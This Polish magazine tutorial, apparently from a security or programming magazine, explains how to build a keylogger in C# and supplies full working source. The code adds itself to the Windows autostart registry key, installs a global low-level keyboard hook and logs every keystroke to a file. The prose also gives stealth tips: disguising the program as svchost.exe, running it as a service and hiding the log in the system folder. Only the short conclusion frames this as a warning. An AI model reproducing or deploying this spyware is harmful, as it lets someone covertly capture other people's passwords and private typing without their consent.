C#.NET. Podsłuchiwanie klawiatury

Sławomir Orłowski, Maciej Pakulski

stopień trudności

Skomplikowane i często aktualizowane hasło, które oprócz liter zawiera również cyfry i znaki specjalne, to bardzo dobry sposób obrony przed nieautoryzowanym dostępem. Pod warunkiem, że nie jesteśmy podsłuchiwani w trakcie jego wprowadzania…

Pisząc o podsłuchiwaniu hasła, nie mamy oczywiście na myśli przypadku podsłuchiwania mówiącego sobie pod nosem użytkownika, który właśnie wprowadza swoje hasło. Chodzi nam o program, który bez wiedzy użytkownika będzie zapisywał wszystkie naciśnięte klawisze. Będzie go mógł napisać nawet średnio zaawansowany programista, znający system Windows. Widać zatem, że jest to realne zagrożenie. Przyjrzyjmy się teraz, jak system Windows opiekuje się uruchamianymi programami. Działanie aplikacji okienkowych polega przede wszystkim na reagowaniu na zdarzenia. Zdarzenia to nic innego jak wyniki interakcji użytkownika z aplikacją. Jest to więc klikanie, przyciskanie, upuszczanie, przeciąganie oraz inne akcje, które można wykonać w aplikacji. Pisząc jakiś program pod Windows w środowiskach RAD (ang. *Rapid Application Development*), musimy stworzyć metody zdarzeniowe związane z konkretnymi zdarzeniami dla kontrolek aplikacji. W zależności od języka programowania – bądź platformy uruchomieniowej – mamy do dyspozycji różne mechanizmy reakcji na zdarzenia w aplikacji. Dla platformy .NET będą to delegacje, w C++ Bulider – wskaźniki na funkcje, a dla Javy specjalne obiekty nasłuchujące. Skąd jednak aplikacja wie, że jej przycisk został kliknięty? Taką informację dostaje od systemu Windows. Utrzymuje on dla każdego uruchomionego programu kolejkę, która przechowuje zdarzenia. Zdarzeniem, które nas najbardziej w tym momencie interesuje, jest naciśnięcie klawisza na klawiaturze. Aby je przechwycić, musimy monitorować komunikaty wysyłane do uruchomionych w systemie aplikacji. Nie jest to zadanie specjalnie skomplikowane (nie musimy modyfikować

Z artykułu dowiesz się

- jak działają haki w systemie Windows,
- jak dodawać wpisy do rejestru systemowego,
- jak z poziomu kodu C# podsłuchiwać klawiaturę.

Co powinieneś wiedzieć

- podstawy programowania zorientowanego obiektowo,
- podstawy działania systemu Windows,
- podstawowa znajomość sieci komputerowych.

np. jądra), ponieważ system Windows udostępnia mechanizm haków (ang. *hooks*). Został on już opisany przez Jacka Matulewskiego w numerze 4/2007, jednak pod nieco innym kątem. My zajmiemy się użyciem haków w kodzie C#. Będziemy zmuszeni do skorzystania z funkcji `WinAPI` oraz metod specyficznych dla Windows, co jest pogwałceniem idei platformy uruchomieniowej.

Dodawanie wpisów do autostartu

Idea platformy uruchomieniowej polega na przenaszalności programu na poziomie kodu i aplikacji pomiędzy systemami operacyjnymi. Jednak Linux nie posiada czegoś takiego, jak rejestr. W związku z tym nasz program, pomimo tego, że jest pisany dla platformy .NET, będzie działał poprawnie jedynie dla systemu operacyjnego Windows. Inną kwestią pozostaje, czy firmie Microsoft naprawdę zależy na przenaszalności kodu pomiędzy systemami innymi niż Windows. Zanim rozpoczniemy tworzenie haków, napiszemy metodę, która będzie dodawała wpisy do autostartu. Pozwoli to uruchomić nasz program przy każdym starcie systemu. Ponieważ, jak napisałem wcześniej, rejestr systemowy jest specyficzny dla Windows, twórcy .NET postanowili wszystkie klasy z nim związane umieścić w przestrzeni nazw *Microsoft*, a nie *System*. Dane dotyczące automatycznie uruchamianych programów przechowuje klucz *Software\Microsoft\Windows\CurrentVersion\Run* rejestru systemowego. Jeżeli zapiszemy ścieżkę z plikiem *.exe* w kluczu *HKEY_CURRENT_USER*, nasza aplikacja będzie uruchamiana po wlogowaniu się aktualnie zalogowanego użytkownika. Jeżeli zapiszemy ją w *HKEY_LOCAL_MACHINE*, program uruchamiany będzie po wlogowaniu się dowolnego użytkownika. W naszej wersji niech będzie to aktualny użytkownik. Musimy dodać jeszcze w sekcji *using* przestrzeń nazw *Microsoft.Win32*. Metoda realizująca nasze zadanie przedstawiona jest na Listingu 1.

Na początku metody znajduje się deklaracja typów wyliczeniowych, które przydadzą nam się do określenia rodzaju operacji, jaką chcemy wykonać (typ `asOperation`) oraz do określenia, czy się ona udała (`asValue`). Ponieważ C# jest językiem silnie obiektowym, to wspomniane ty-

Listing 1. *Metoda sprawdzająca, dodająca lub usuwająca wpis w autostarcie systemu Windows*

```
enum asOperation { asCheck, asWrite, asDelete };
enum asValue { yes, no, error };

private static asValue InsertInAutostart(string name, string exe, asOperation
                    operation)
{
    const string key = "Software\\Microsoft\\Windows\\CurrentVersion\\Run";
    try
    {
        RegistryKey rg = Registry.CurrentUser.OpenSubKey(key, true);
        switch (operation)
        {
            case asOperation.asCheck:
                if (rg.GetValue(name) != null) return asValue.yes;
                else
                    return asValue.no;
            case asOperation.asWrite:
                rg.SetValue(name, exe);
                rg.Close();
                return asValue.yes;
            case asOperation.asDelete:
                rg.DeleteValue(name);
                rg.Close();
                return asValue.yes;
        }
        return asValue.no;
    }
    catch
    {
        return asValue.error;
    }
}
```

Listing 2. *Import funkcji WinAPI*

```
[DllImport("user32.dll")]
private static extern IntPtr CallNextHookEx(IntPtr hhk, int nCode, IntPtr
                    wParam, IntPtr lParam);

[DllImport("user32.dll")]
private static extern int ToAscii(uint uVirtKey, uint uScanCode, byte[]
                    lpKeyState, ref  char lpChar, uint flags);

[DllImport("user32.dll")]
private static extern bool GetKeyboardState(byte[] data);

[DllImport("user32.dll")]
static extern short GetKeyState(int nVirtKey);
```

Listing 3. *Pola klasy TestDll*

```
private static char caughtChar;
private static string path = "C:\\plik.txt";
private const byte VK_SHIFT = 0x10;
private const byte VK_CAPITAL = 0x14;
private static bool CapsLockDown;
private static bool ShiftDown;
private const uint WM_KEYDOWN = 0x0100;
```

py wyliczeniowe musimy zadeklarować jako pola klasy reprezentującej nasz program. Parametry, jakie przyjmuje nasza metoda, to nazwa klucza (zmienna `name`), ścieżka dostępu i nazwa pliku wykonywalnego, który chcemy uruchomić (zmienna `exe`) oraz rodzaj operacji, jaką chcemy wykonać (stworzony przez nas typ wyliczeniowy `asOperation`). Aby stworzyć obiekt reprezentujący klucz rejestru, używamy metody `OpenSubKey`. W zależności od tego, czy jest to metoda własności `CurrentUser`, czy `LocalMachine`, wpis stworzony będzie odpowiednio w *HKEY_CURRENT_USER* lub w *HKEY_LOCAL_MACHINE*. Do sprawdzenia wartości klucza służy metoda `GetValue`. Do zapisu klucza używamy metody `SetValue`, a do jego usunięcia – `DeleteValue`. Każda z tych metod może generować wyjątek, dodatkowo sam proces tworzenia obiektu klasy `RegistryKey` może spowodować zgłoszenie wyjątku – w związku z tym całość umieszczamy w bloku ochronnym *try-catch*. Wyjątki mogą być spowodowane brakiem dostępu do rejestru lub konkretnego klucza. Wywołanie tej metody najlepiej umieścić w kodzie wykonywanym w trakcie uruchamiania programu. Może to być konstruktor formy bądź zdarzenie `Load` – w przypadku aplikacji *Windows Forms*. Możemy wtedy sprawdzić, czy istnieje w rejestrze odpowiedni klucz i w przypadku jego braku – utworzyć go.

Umiemy już umieszczać naszą aplikację w autostarcie. Jednak po uruchomieniu będzie nadal widoczna w oknie menadżera zadań. W systemach Windows począwszy od 2000 nie ma (na szczęście) łatwego sposobu, aby usunąć nazwę procesu z menadżera zadań. Ale możemy udawać proces systemowy. Wystarczy nazwać nasz program np. *svchost.exe*. Ta prosta sztuczka zadziała w większości przypadków. Można jeszcze uruchomić program w trybie usługi.

Windows hooks

Jak wspomnieliśmy na początku, działanie systemu Windows opiera się na przekazywaniu komunikatów (ang. *Windows messages*). Haki pozwalają nam na zainstalowanie specjalnych funkcji monitorujących, których zadaniem jest przetwarzanie komunikatów Windows, nim dotrą do konkretnej aplikacji. Do dyspozycji mamy kilka typów haków i dla każdego takiego typu system tworzy tzw. łańcuch funkcji monitorujących. W momencie zajścia zdarzenia związanego z określonym typem haków komunikat Windows kierowany jest najpierw do funkcji monitorujących znajdujących się w określonym łańcuchu. Typ haka determinuje czynności, które funkcja monitorująca może przeprowadzić na przechwyconym komunikacie. Niektóre typy pozwalają tylko na odczyt danych z komunikatu. Istnieją również takie, dzięki którym komunikat może być zmodyfikowany a także może nie dotrzeć do wybranej aplikacji. Funkcje monitorujące mogą mieć zasięg lokalny bądź globalny (zwany również systemowym). Zasięg lokalny daje funkcji monitorującej możliwość przechwycenia komunikatów zdarzeń, które zaszły tylko wewnątrz wątku, w którym funkcja została zainstalowana. Wątek można kojarzyć z konkretnym programem. Zasięg globalny pozwala na odbieranie komunikatów zdarzeń, które zaszły w każdym wątku działającym w systemie. Jednakże, jeżeli funkcja monitorująca ma mieć zasięg globalny, jej kod musi być umieszczony w bibliotece łączonej dynamicznie (DLL).

Program *podsłuchujący klawiaturę* będzie się składał z dwóch projektów. Pierwszy będzie zawierać bibliotekę DLL, ponieważ chcemy przechwytywać komunikaty wygenerowane dla każdej aplikacji działającej w systemie. Drugi projekt będzie odpowiedzialny za zainstalowanie funkcji monitorującej. Funkcja monitorująca będzie składową pisanej przez nas klasy, więc powinniśmy używać raczej określenia metoda. My jednak pozostaniemy przy terminie funkcja monitorująca, aby podkreślić jej pochodzenie z biblioteki systemowej. Używając jedynie platformy .NET nie mamy możliwości wykorzystania obiektów, które pozwalałyby nam na korzystanie z haków. Jest to naturalna konsekwencja związana z przenaszalnością kodu. Będziemy musieli więc wykorzystać niektóre funkcje `WinAPI` z bibliotek DLL systemu Windows. Do importu funkcji z bibliotek DLL służy polecenie `DllImport`. Aby

Listing 4. *Metoda zapisująca przechwycone klawisze do pliku tekstowego*

```
private static void SaveChar(char theChar, string where)
{
    if(File.Exists(where))
    {
        using (StreamWriter sw = File.AppendText(where))
        {
            sw.Write(theChar);
            // nowa linia
            if (theChar == '\r')
                sw.Write('\n');
        }
    }
    else
    {
        using (StreamWriter sw = File.CreateText(where))
        {
            sw.Write(theChar);
            if (theChar == '\r')
                sw.Write('\n');
        }
    }
}
```

wygodnie go używać, do projektu w sekcji `using` należy dodać przestrzeń nazw `System.Runtime.InteropServices`. Polecenie `DllImport` ma następującą składnię:

```
[DllImport(nazwa_pliku_DLL)]
Modyfikator_dostępu static extern typ_zwracany NazwaFunkcji(
parametry);
```

Parametry są opcjonalne, ponieważ istnieje wiele funkcji, które nie przyjmują żadnych parametrów. Warto dodać, iż importując funkcje *WinAPI* możemy napotkać problem z wyborem odpowiedniego typu dla wskaźników i uchwytów. Dla platformy .NET są one reprezentowane przez strukturę `IntPtr`.

Tworzymy bibliotekę łączoną dynamicznie

W części tej stworzymy bibliotekę DLL, która będzie zawierać funkcję monitorującą. Właśnie tę bibliotekę będziemy „wstrzykiwać" w strumień komunikatów systemu Windows. Do przygotowania programu użyjemy darmowego środowiska Visual C# 2005 Express Edition. Można je pobrać ze stron firmy Microsoft. Odpowiedni link znajduje się w ramce W Sieci. Uruchamiamy Visual C# 2005 i wybieramy *File –> New Project –> Class Library* i nadajemy naszemu projektowi nazwę *TestDll*. Jak zawsze, środowisko Visual C# 2005 Expres Edition generuje pewien szablon kodu. Dodamy teraz do utworzonego szkieletu klasy odpowiednie metody i pola. Zaczniemy od zaimportowania czterech funkcji *WinAPI*, które pochodzić będą z biblioteki *user32.dll* (Listing 2).

Pierwsza funkcja to `CallNextHookEx`. Ma ona za zadanie przekazać komunikat otrzymany przez funkcję monitorującą do kolejnej funkcji monitorującej. Jej pierwszym parametrem jest uchwyt do aktualnie zainstalowanej funkcji monitorującej. Pozostałe parametry zostaną omówione, gdy zdefiniujemy funkcję monitorującą. Wartość zwracana przez funkcję jest różna w zależności od typu haka. Kolejne z importowanych funkcji umożliwiają odczytanie znaku wciśniętego klawisza klawiatury z odebranego komunikatu. Funkcja `ToAscii` służy do zamiany kodu wirtualnego klawisza na odpowiedni znak w kodzie ASCII. Jej parametry to:

- `uVirtKey` – wirtualny kod klawisza,
- `uScanCode` – tzw. *hardware scan code*. Najbardziej znaczący bit tego parametru jest ustawiony, jeżeli klawisz nie jest wciśnięty,
- `lpKeyState` – 256-elementowa tablica, która zawiera aktualny stan klawiatury. Każdy element tablicy przechowuje status jednego klawisza,
- `lpChar` – parametr, w którym zostanie zapisany znak w kodzie ASCII,
- `flags` – flagi dotyczące menu.

Jeżeli funkcja zadziała poprawnie, wówczas zwracana jest wartość niezerowa. Do określania aktualnego stanu klawiatury służy kolejna funkcja o nazwie `GetKeyboardState`. Parametrem funkcji jest 256-elementowa tablica zmiennych typu `byte`, w której zostanie zapisany aktualny stan klawiatury. Jeżeli funkcja zadziała poprawnie, również zwraca wartość różną od 0. W celu określenia stanu pojedynczego klawisza skorzystamy z funkcji `GetKeyState`. Parametrem funkcji jest wirtualny kod klawisza, którego stan chcemy określić. Klawisz może być wciśnięty, zwolniony lub przełączony. Terminem klawisz jest przełączony będziemy oznaczać stan, w którym wciśnięcie wybranego klawisza powoduje uaktywnienie pewnego trybu (np. wciśnięcie klawisza *Caps Lock* powoduje włączenie trybu pisania dużymi literami). Wartość zwracana przez funkcję `GetKeyState` informuje nas o stanie wybranego klawisza. Jeżeli najbardziej znaczący bit zwracanej wartości jest ustawiony, to klawisz jest wciśnięty. W przeciwnym wypadku jest zwolniony. Jeżeli najmniej znaczący bit jest ustawiony, wówczas wybrany klawisz jest przełączony. W przeciwnym wypadku nie jest przełączony. Możemy teraz przejść do dodania pól do naszej klasy (Listing 3).

W pierwszym z nich zapiszemy nasz przechwycony znak (`caughtChar`). Pole `path` typu `string` będzie określało ścieżkę do pliku, w którym będziemy zapisywać przechwycone znaki. Jest on plikiem tekstowym, aby można było w prosty sposób sprawdzić działanie programu.

Listing 5. *Metoda odczytująca znak z przechwyconego komunikatu*

```
private static char GetChar(int vkCode)
{
    byte[] data = new byte[256];
    GetKeyboardState(data);
    char myChar = ' ';
    uint scan = 0;
    ToAscii((uint)vkCode, scan, data, ref myChar, 0);
    return myChar;
}
```

Listing 6. *Definicja struktury KBDLLHOOKSTRUCT*

```
[StructLayout(LayoutKind.Sequential)]
public struct KBDLLHOOKSTRUCT
{
    public int vkCode;
    public int scanCode;
    public int flags;
    public int time;
    public int dwExtraInfo;
}
```

Jednakże w celu lepszego ukrycia tego pliku moglibyśmy np. zapisywać znaki w pliku binarnym i umieścić go w folderze *$Windows\System* (jeżeli posiadamy do niego prawa zapisu), gdzie przeciętny użytkownik rzadko zagląda – jest zresztą wiele innych miejsc na dysku, gdzie nasz plik może spokojnie egzystować, nie nękany przez użytkownika. Oczywiście nazwa pliku też powinna być wtedy inna.

Kolejne cztery pola związane są z klawiszami *Shift* i *Caps Lock*. Stałe `VK_SHIFT` i `VK_CAPITAL` oznaczają odpowiednio kody klawiszy wirtualnych *Shift* i *Caps Lock*. Pole *ShiftDown* będzie przyjmować wartość true, jeżeli klawisz *Shift* jest wciśnięty. W przeciwnym wypadku pole to przyjmie wartość *false*. Pole *CapsLockDown* będzie przyjmować wartość true, jeżeli klawisz *CapsLock* został przełączony, powodując uaktywnienie trybu pisania dużymi literami. Natomiast po wyłączeniu tego trybu polu zostanie przypisana wartość *false*. Ostatnim polem będzie kod komunikatu systemu Windows, który jest generowany w momencie wciśnięcia niesystemowego klawisza klawiatury.

Możemy teraz przejść do napisania dwóch prywatnych metod, które wykorzystywać będzie funkcja monitorująca. Pierwsza z nich będzie służyć do zapisu określonego znaku w wybranym miejscu. Na początku musimy dodać przestrzeń nazw *System.IO*. Kod metody jest pokazany na Listingu 4.

Na początku następuje sprawdzenie, czy wybrany plik już istnieje. Jeżeli tak, dopisujemy do niego kolejne dane. Jeżeli nie istnieje, tworzymy go i zapisujemy w nim dane. Warto zwrócić uwagę, że dzięki użyciu słowa kluczowego `using` nie musimy się martwić o zamknięcie pliku.

Druga metoda pozwoli nam na odczytanie z przechwyconego komunikatu znaku odpowiadającego wciśniętemu klawiszowi. Jako parametr przyjmuje ona kod wirtualnego klawisza. Funkcja zwraca odczytany znak. Jej definicja jest pokazana na Listingu 5.

Działanie tej metody sprowadza się do użycia dwóch wcześniej zaimportowanych funkcji *WinAPI* z odpowiednimi parametrami. Możemy teraz przejść do meritum sprawy, czyli napisania definicji funkcji monitorującej (Listing 6). Funkcja będzie przyjmować następujące parametry:

- `code` – określa kod, na podstawie którego funkcja monitorująca przetwarza otrzymany komunikat. Jeżeli parametr ten jest mniejszy od zera, to wymagane jest, aby funkcja monitorująca wywołała funkcję `CallNextHookEx` i zwróciła wartość zwracaną przez tę funkcję,
- `wParam` – określa identyfikator komunikatu klawiatury,
- `lParam` – reprezentuje wskaźnik do struktury *KBDLLHOOKSTRUCT*. Aby móc korzystać z tej struktury, musimy ją przedtem zdefiniować. W tym celu przed definicją klasy dodajemy kod z Listingu 6.

Z naszego punktu widzenia najważniejsze pole tej struktury to `vkCode`.

Listing 7. *Funkcja monitorująca*

```
public static IntPtr MonitorFunction(int code, IntPtr wParam, IntPtr lParam)
{
    try
    {
        if (wParam.ToInt64() == WM_KEYDOWN && code >= 0)
        {
            KBDLLHOOKSTRUCT hookStruct =
                                (KBDLLHOOKSTRUCT)Marshal.PtrToStructure(l
                    Param, typeof(KBDLLHOOKSTRUCT));
            // Shift wciśnięty ??
            ShiftDown = ((GetKeyState(VK_SHIFT) & 0x80) == 0x80 ? true :
                    false);
            // Tryb pisania dużymi literami włączony ??
            CapsLockDown = (GetKeyState(VK_CAPITAL) != 0 ? true : false);
            caughtChar = GetChar(hookStruct.vkCode);
             if ((CapsLockDown ^ ShiftDown) && Char.IsLetter(caughtChar))
                caughtChar = Char.ToUpper(caughtChar);
            if ((caughtChar == 0x0d && hookStruct.vkCode == 0x0d) ||
                    (caughtChar > 0x20 && caughtChar <= 0x7e) ||
                    (caughtChar == 0x20 && hookStruct.vkCode == 0x20))
                SaveChar(caughtChar, path);
        }
    }
    catch {}
    return CallNextHookEx(IntPtr.Zero, code, wParam, lParam);
}
```

Listing 8. *Importowanie funkcji WinAPI*

```
[DllImport("user32.dll")]
private static extern IntPtr SetWindowsHookEx(int code,
                                                HookProc func, IntPtr
                    hInstance, int threadID);
[DllImport("user32.dll")]
private static extern bool UnhookWindowsHookEx(IntPtr hhk);
[DllImport("Kernel32.dll")]
private static extern IntPtr GetModuleHandle(string moduleName);
```

Listing 9. *Definicja pól klasy HookClass*

```
private delegate IntPtr HookProc(int code, IntPtr wParam,
IntPtr lParam);
private static HookProc hookProc;
private IntPtr result;
private const int WH_KEYBOARD_LL = 0x0d;
```

W Sieci

- *http://msdn.microsoft.com/msdnmag/issues/02/10/CuttingEdge* – artykuł opisujący haki w systemie Windows,
- *http://msdn2.microsoft.com/en-us/library/ms997537.aspx* – kolejny artykuł opisujący haki w systemie Windows,
- *http://msdn2.microsoft.com/en-us/express/aa975050.aspx* – witryna Microsoft, skąd można pobrać środowisko Visual C# 2005 Express Edition,
- *http://www.codeproject.com* – zbiór bardzo wielu przykładów aplikacji dla platformy .NET i nie tylko. Naprawdę godny polecenia,
- *http://www.codeguru.pl* – polska strona dla programistów .NET,
- *http://msdn2.microsoft.com* – dokumentacja MSDN. Znajdziesz tu opisy wszystkich klas, własności i metod, jakie zawiera platforma .NET wraz z przykładowymi programami.

Posłuży nam ono jako parametr przekazywany do funkcji `ToAscii`. Parametry `code`, `wParam` oraz `lParam` są odpowiednio drugim, trzecim i czwartym parametrem funkcji `CallNextHookEx`.

Na początku metody sprawdzamy, czy nastąpiło zdarzenie wciśnięcia klawisza niesystemowego oraz czy parametr `code` ma wartość większą bądź równą zero. Używamy statycznej metody `PtrToStructure` klasy `Marshal` w celu zamiany parametru `lParam` na strukturę *KBDLLHOOKSTRUCT*. Metoda ta jako pierwszy parametr przyjmuje wskaźnik do niezarządzanego bloku pamięci (wskaźniki na platformie .NET są reprezentowane przez strukturę `IntPtr`). Drugi parametr to typ obiektu, który ma utworzyć. Wartością zwracaną jest nowo utworzony obiekt klasy `Object`. Zawiera on dane wskazywane przez wskaźnik przekazany jako pierwszy parametr. Zwracaną wartość rzutujemy jeszcze na strukturę *KBDLLHOOKSTRUCT*. Pierwsza instrukcja warunkowa `if` ustala wielkość znaków będących literami. Druga konstrukcja `if` dba, aby tylko wybrane znaki były zapisywane do pliku.

Biblioteka DLL została już stworzona. Kolejnym krokiem będzie stworzenie projektu, który użyje tej biblioteki w celu monitorowania klawiatury.

Instalujemy funkcję monitorującą

Zaczynamy od stworzenia nowego projektu *Windows Forms Application*. Nadajemy mu nazwę *TestHooks*. Do projektu dodajemy nową klasę przez wybranie opcji *Project –> Add Class*. W polu *Name* wpisujemy *HookClass*. W klasie tej umieścimy kod umożliwiający uruchomienie monitorowania klawiatury. Forma *Form1* w tym projekcie będzie symulowała pewną aplikację, w której istnieje możliwość użycia opcji monitorowania klawiatury. Możemy teraz przejść do napisania definicji klasy *HookClass*. Zaczniemy od importu potrzebnych funkcji *WinAPI* (Listing 8).

Haki są instalowanie przez wywołanie funkcji `SetWindowsHookEx`. Parametry tej funkcji to:

- `idHook` – określa typ haka, jaki chcemy zainstalować,
- `func` – delegacja dla zarejestrowanej funkcji monitorującej,
- `hInstance` – uchwyt do biblioteki DLL, która zawiera definicję funkcji monitorującej,
- `threadID` – określa identyfikator wątku, z którym ma być związana funkcja monitorująca.

Jeżeli funkcja ta zadziała poprawnie, zwróci uchwyt do funkcji monitorującej. W przeciwnym wypadku zwróci wartość `null`. Gdy już nie chcemy przechwytywać wybranych komunikatów, możemy odinstalować funkcję monitorującą. Służy do tego funkcja `UnhookWindowsHookEx`. Jej parametr to uchwyt do funkcji monitorującej, który otrzymujemy jako wartość zwracaną przez funkcję `SetWindowsHookEx`. Jeżeli funkcja zadziała poprawnie, zwracana wartość jest niezerowa. W przeciwnym wypadku zwracaną wartością jest zero. Funkcja `GetModuleHandle` uzyskuje uchwyt do wybranego modułu, którego nazwę przekazujemy jako parametr (`plik` *.dll* lub *.exe*). Jeżeli funkcja zadziała prawidłowo, wówczas zwracaną wartością jest uchwyt do żądanego modułu.

W kolejnym kroku zdefiniujemy delegację dla funkcji monitorującej. Jej sygnatura i typ muszą zatem być zgodne z sygnaturą i ty-

Listing 10. *Metoda GetHookProc*

```
private bool GetHookProc()
{
    try
    {
        string sc = Environment.CurrentDirectory + "\\" + "TestDll.dll";
        Assembly a = Assembly.LoadFrom(sc);
        Type[] tab = a.GetExportedTypes();
        MethodInfo methodInfo = null;
        foreach (Type t in tab)
        {
            methodInfo = t.GetMethod("MonitorFunction");
        }
        hookProc = (HookProc)Delegate.CreateDelegate(typeof(HookProc),
                    methodInfo);
        return true;
    }
    catch
    {
        return false;
    }
}
```

pem zwracanym funkcji monitorującej. Po zdefiniowaniu delegacji tworzymy jej referencję. Warto podkreślić, że obiekt delegacji musi być zadeklarowany jako *static*. Potrzebne nam będzie także pole, w którym zapiszemy uchwyt do funkcji monitorującej zwracany przez funkcję `SetWindowsHookEx`. Nazwiemy je `result`. Ostatnim polem będzie stała oznaczająca typ haka, jaki chcemy zainstalować. Nasza funkcja ma za zadanie przechwytywać komunikaty klawiatury, więc parametr ten będzie miał wartość *0x0d* i nazwiemy go `WH_KEYBOARD_LL`. Kroki te przedstawia Listing 9.

Listing 11. *Metoda instalująca oraz usuwająca funkcję monitorującą*

```
public bool InstallHook()
{
    try
    {
        if (GetHookProc())
        {
            result = SetWindowsHookEx(WH_KEYBOARD_LL, hookProc, GetModuleHan
                     dle("TestDll.dll"), 0);
            return true;
        }
        else
            return false;
    }
    catch
    {
        return false;
    }
}

public void CloseHook()
{
    UnhookWindowsHookEx(result);
}
```

Listing 12. *Definicja klasy Form1*

```
using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Text;
using System.Windows.Forms;

namespace TestHooks
{
    public partial class Form1 : Form
    {
        private HookClass hookClass;
        private bool hookInstallDone = true;
        public Form1()
        {
            InitializeComponent();
            hookClass = new HookClass();
            if(!hookClass.InstallHook())
                  hookInstallDone = false;
        }
        private void OnClosing(object sender, EventArgs e)
        {
            if(hookInstallDone)
        hookClass.CloseHook();
        }
    }
}
```

Teraz zajmiemy się napisaniem prywatnej metody `GetHookProc`, dzięki której stworzymy obiekt delegacji `HookProc` z zarejestrowaną funkcją monitorującą. W projekcie przyjmujemy, że biblioteka DLL nosi nazwę *TestDll*, znajduje się w tym samym katalogu, co plik wykonywalny oraz że nazwa funkcji monitorującej to *MonitorFunction*. Kod metody jest przedstawiony na Listingu 10.

W metodzie tej mamy zaprezentowany jeden ze sposobów importowania metod z bibliotek łączenia dynamicznego, stworzonych z wykorzystaniem Visual C#. Aby móc to zrobić, musimy dodać do projektu przestrzeń nazw *System.Reflection*. Na początku tworzymy zmienną typu `string`, która zawiera ścieżkę do pliku DLL, z którego chcemy importować metodę. Następnie tworzymy obiekt klasy `Assembly`, reprezentujący tzw. pakiet kodu (ang. *assembly*). Pakietem kodu może być zarówno biblioteka łączona dynamicznie, jak i plik wykonywalny. Obiekt klasy `Assembly` jest tworzony przez wywołanie statycznej metody tej klasy – `LoadFrom`. Jej parametrem jest ścieżka do pakietu kodu, który chcemy załadować. Metoda zwraca nam nowo utworzony obiekt klasy `Assembly`. Kolejnym krokiem jest wywołanie metody `GetExportedTypes` klasy `Assembly`. Metoda ta zwraca publiczne typy znajdujące się w określonym pakiecie kodu, które użytkownik może wykorzystać w swojej zewnętrznej aplikacji. Uzyskujemy w ten sposób tablicę obiektów klasy `Type`. Następnie deklarujemy pustą referencję do obiektu klasy `MethodInfo`. Teraz musimy przeszukać nasze typy w celu odnalezienia typu będącego klasą zawierającą definicję funkcji monitorującej. Najlepiej do tego celu nadaje się pętla `foreach`. Wewnątrz pętli używamy metody `GetMethod` do sprawdzenia, czy dany typ zawiera definicję funkcji monitorującej. Jeżeli znaj-

dziemy taki typ, wówczas `GetMethod` zwraca nam obiekt typu `MethodInfo`, w przeciwnym wypadku będzie to wartość `null`.

Pora teraz na stworzenie obiektu delegacji. Wykorzystamy do tego statyczną metodę klasy `Delegate` o nazwie `CreateDelegate`, która przyjmuje dwa parametry. Pierwszym z nich jest typ delegacji, jaki ma zostać stworzony. Drugi to obiekt typu `MethodInfo`. Aby uzyskać typ naszej delegacji, używamy operatora `typeof`. Ponieważ metoda `CreateDelegate` zwraca obiekt typu `Delegate`, musimy rzutować zwracany typ na typ naszej delegacji. Metoda zwraca wartość różną od zera, gdy uda się utworzyć delegację z zarejestrowaną funkcją monitorującą, w innym wypadku zwraca zero.

Możemy teraz przejść do napisania publicznej metody `InstallHook`, która posłuży nam do zainstalowania funkcji monitorującej. Definicję tej metody przedstawia Listing 11.

Warto zwrócić uwagę, że identyfikator wątku równa się 0. Dzieje się tak, ponieważ chcemy powiązać naszą funkcję monitorującą z wszystkimi istniejącymi wątkami.

Odinstalowanie funkcji monitorującej odbywa się przez wywołanie publicznej metody `CloseHook`, której definicję przedstawia również Listing 11.

Możemy teraz przejść do stworzenia obiektu naszej klasy. Przechodzimy do widoku formy *Form1* i naciskamy *F7*. Przypominamy, że forma reprezentuje w naszym projekcie pewną aplikację, w której chcemy mieć możliwość użycia funkcji monitorującej. Jej kod przedstawia Listing 12.

W konstruktorze *Form1* tworzymy nowy obiekt klasy `HookClass` i wywołujemy funkcję monitorującą. Monitorowanie powinno zostać zatrzymane w momencie, gdy aplikacja skończy działanie. W związku z tym dla zdarzenia `FormClosing` dodajemy metodę zdarzeniową, która wyłączy nasz hak. Pole `hookInstallDone` zabezpiecza przed próbą odinstalowania funkcji monitorującej, gdy nie została ona wcześniej zainstalowana.

Podsumowanie

Artykuł ten opisuje użycie haków systemu Windows w celu podsłuchiwania klawiatury. Jednak mechanizm haków nie został stworzony po to, żeby umożliwić pisanie narzędzi hakerskich. Haki nadają się świetnie wszędzie tam, gdzie zachodzi potrzeba nadzorowania jednej aplikacji przez inną (np. tryb debuggera, aplikacje szkoleniowe). Jeśli nie podoba nam się działanie jakieś aplikacji w związku z konkretnym zdarzeniem, możemy napisać własną metodę zdarzeniową i *podpiąć się* z nią za pomocą mechanizmu haków do aplikacji. Można też napisać własny hak, który będzie w stanie wyłączyć inne haki. Jak widać, możliwości jest wiele – ale ta swoboda stanowi jednocześnie duże zagrożenie, co – mamy nadzieję – pokazał ten artykuł. ●

O autorach

Sławomir Orłowski – z wykształcenia fizyk. Obecnie jest doktorantem na Wydziale Fizyki, Astronomii i Informatyki Stosowanej Uniwersytetu Mikołaja Kopernika w Toruniu. Zajmuje się symulacjami komputerowymi układów biologicznych (dynamika molekularna) oraz bioinformatyką. Programowanie jest nieodzowną częścią jego pracy naukowej i dydaktycznej. Ma doświadczenie w programowaniu w językach C, C++, Delphi, Fortran, Java i Tcl. Z językiem C# i platformą .NET pracuje od 2002 roku. Jest autorem książek informatycznych.
Strona domowa: *http://www.fizyka.umk.pl/~bigman/*.
Kontakt z autorem: *bigman@fizyka.umk.pl*.

Maciej Pakulski – absolwent studiów inżynierskich na kierunku Fizyka Techniczna Wydziału Fizyki, Astronomii i Informatyki Stosowanej Uniwersytetu Mikołaja Kopernika w Toruniu. Obecnie na studiach magisterskich. Programowaniem zajmuje się od 2004 roku. Potrafi programować biegle w językach C/C++, Java, VHDL. Programowaniem w języku C#, a także platformą .NET zajmuje się od 2006 roku.
Kontakt z autorem: *mac_pak@interia.pl*.